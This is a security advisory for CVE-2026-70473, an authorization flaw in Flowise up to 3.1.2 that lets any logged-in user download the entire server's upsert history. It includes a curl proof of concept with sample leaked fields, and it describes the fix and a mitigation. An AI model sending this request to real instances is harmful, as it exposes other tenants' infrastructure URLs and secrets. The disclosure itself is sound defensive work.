highCVE-2026-70473Aug 4, 2026

CVE-2026-70473: Flowise Server-Wide Upsert History Information Disclosure

Rohit Hatagale
AI Security Researcher, SecureLayer7

Any authenticated Flowise user can call a single API endpoint and receive the entire server's vector-store upsert history, including infrastructure URLs, API keys, and configuration details belonging…

Packageflowise
Ecosystemnpm
Affected<= 3.1.2
Fixed in3.1.3
CVE-2026-70473: Flowise Server-Wide Upsert History Information Disclosure

The problem

The GET /api/v1/upsert-history endpoint in Flowise <= 3.1.2 performs no authorization check and applies no workspace or tenant scoping before querying the database. Every authenticated session, regardless of role or workspace membership, receives the complete server-wide history.

The response can exceed 100 MB and contains sensitive node configuration stored in plaintext, including vector store endpoint URLs (e.g. Qdrant cloud URLs), collection names, embedding dimensions, and pipeline metadata. This data is enough to mount targeted follow-on attacks against a victim tenant's infrastructure.

Repeated large fetches also create a bandwidth/CPU amplification risk.

Proof of concept

A working proof-of-concept for CVE-2026-70473 in flowise, with the exact payload below.

bash
curl 'https://<flowise-host>/api/v1/upsert-history' \
  -X GET \
  -H 'Accept: application/json' \
  -H 'Cookie: token=<your-session-token>' \
  -sS -o upsert_history.json

# Verify response size (reported >100 MB on busy instances)
ls -lh upsert_history.json

# Sensitive fields visible in response, e.g.:
# { "label": "Qdrant Server URL", "name": "qdrantServerUrl",
#   "value": "https://<uuid>.europe-west3-0.gcp.cloud.qdrant.io" }
# { "label": "Qdrant Collection Name", "name": "qdrantCollection",
#   "value": "<collection-name>" }

The root cause is a missing authorization and data-scoping layer on the upsert-history service (CWE-200, CWE-284). Before the fix, the controller passed the query straight to the ORM with no WHERE orgId = ? or equivalent workspace filter, and no role check gated the route.

Any valid session token was sufficient.

PR #6170 (commit d81483b) adds workspace-scoped filtering so the query only returns rows belonging to the caller's organization, and gates the route behind proper authorization middleware. The patch effectively changes an unrestricted findAll() into a scoped findByOrgId() call.

The fix

Upgrade to Flowise 3.1.3 or later. The fix is in commit d81483b70c997ddf981acc9c49fbd9a02fa345cd (PR #6170). If an immediate upgrade is not possible, block external access to GET /api/v1/upsert-history at the reverse-proxy or WAF layer as a temporary mitigation.

Reported by Truong Nguyen.

References: [1][2][3][4][5]

Related research